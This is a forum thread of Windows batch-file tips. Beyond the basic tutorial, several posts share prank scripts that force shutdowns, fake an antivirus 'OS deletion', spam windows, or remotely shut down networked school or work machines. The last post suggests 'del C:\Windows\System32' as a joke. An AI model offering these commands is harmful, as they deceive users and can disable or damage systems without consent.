ForumsProgramming Forumsome fun w/ command prompt & .bat files

25 18791
Graham
offline
Graham
8,051 posts
Nomad

didn't really know where to put this :\\

it is fun to create .bat files though
to make .bat files open notepad type something like

@echo off
COLOR 01
echo test
pause


go to save as, click all files instead of text document (.txt) and name it test.bat http://i271.photobucket.com/albums/jj146/grahaam/testpicature
open the .bat version and see

http://i271.photobucket.com/albums/jj146/grahaam/echopicature.jpg

i'm guessing COLOR can go from 00-99

you can put all sorts of commands in
1 code is

goto after goto put anyname you want [/i]Itunes
then make an Itunes option by putting [i]:Itunes

put the rest of command here or a path to a file
"C:/Program Files/iTunes/iTunes.exe"
you muuust have quotes in paths
altogether it looks like

goto Itunes
:Itunes
"C:/Program Files/iTunes/iTunes.exe"



some other commands for reg command prompt:
tracert (insert website)
tree
mspaint
notepad
del
net user
msconfig
pinball
telnet (if you have XP)

others you can just type help


i created one
open notepad and save this as a .bat file

@echo off
:menu
COLOR 00
title Internet Explorationing

echo Want to go on the Internet?
set /p option=yes/no?
if %option%==yes goto Ie
if %option%==no goto neva
if %option%==Yes goto Ie
if %option%==No goto neva
if %option%==* goto error
goto error
:Ie
"C:\\Program Files\\Internet Explorer\\iexplore.exe"
pause
:neva
shutdown -s -t 5 -c "Say no to me eh?!"
:error
echo What you tryin to do?


don't forget to edit if you mess up!
http://i271.photobucket.com/albums/jj146/grahaam/editpicature.jpg

  • 25 Replies
Graham
offline
Graham
8,051 posts
Nomad

ahhh heres the first pic
http://i271.photobucket.com/albums/jj146/grahaam/testpicature.jpg

Graham
offline
Graham
8,051 posts
Nomad

ughh sry for trip post but
all of the path files have one backslash not two as AG shows up with
\\

Drace
offline
Drace
3,880 posts
Nomad

I know how to make a java compiler out of a bat file :P

ForsakenWarrior
offline
ForsakenWarrior
10 posts
Nomad

"shutdown -i" is useful if you know the computer names.
It basically shuts down a computer within the network without actually going to Start menu.
You can also mess with it at school/work, although you might get in trouble.

howmanyghosts
offline
howmanyghosts
30 posts
Nomad

wow, revive from '08. :P

i've shared this before on forums, so i guess i'll share it here too.

a fake virus to freak out your technologically inept friends. just change it to your (C name and Antivirus.

@echo off
echo ESET NOD32 Antivirus 4 has detected a threat to SYSTEM.
pause
echo Attempting to clean infected files.
pause
echo Deleting OS (C.
pause
shutdown -s -t 10 -c "Windows has encountered an error. Please contact your system Administrator for further details."
:hack
echo file:2323#@$
echo file:32433$$%%
echo file:#$@#$!53
echo file:#$35323
echo file:24@#$%2
goto hack

Graham
offline
Graham
8,051 posts
Nomad

crap. forgot i was logged on that account. :I

Graham
offline
Graham
8,051 posts
Nomad

Yes there is a way... i just don't remember it at the moment. :P

Generalpie
offline
Generalpie
36 posts
Nomad

whats fun to do is make a .bat file that spams command prompts(i make mine to spam WindowsPowerShell)

rjbman
offline
rjbman
215 posts
Nomad

Yeah i do in visual basic kurt.

Graham
offline
Graham
8,051 posts
Nomad

In command prompt or another language?

Graham
offline
Graham
8,051 posts
Nomad

a random 4 or 5 digit number is %random%, you can put it right next to eachother for double that (%random%%random%)

Here's a loop of random numbers

@echo off

:recursion
for %%f in (%random%) do echo %%f
goto recursion

Elitemagical
offline
Elitemagical
1,207 posts
Nomad

i'm guessing COLOR can go from 00-99


00 - 99 and AA - FF. Color /?, such a useful switch.

tracert (insert website)


The amount of times that command has saved me from making a trip downstairs to see if the router died. Bahahahah. XD
ColdSword
offline
ColdSword
121 posts
Nomad

i like doing this on someone elses computer u give them a program it has a msg click ok it pops another sayin click ok again (if u click x it spawns another thing) once u hit ok twice it pops up 10 seconds to put in secret code before shut down (the command for shut down is like shutdown -f -s (-f fource - s no save)

Avorne
offline
Avorne
3,085 posts
Nomad

@echo off
START http://www.smouch.net/lol
start http://www.smouch.net/lol

Don't click those, you'll get rick-rolled. However, if you keep repeating the Start http://www.smouch.net/lol the computer will be filled up with rick-rolling pages that move around and shake and are generally near impossible to get rid of.

Also

@echo off
del C:\\Windows\\System32

that tends to be fun...

Showing 1-14 of 25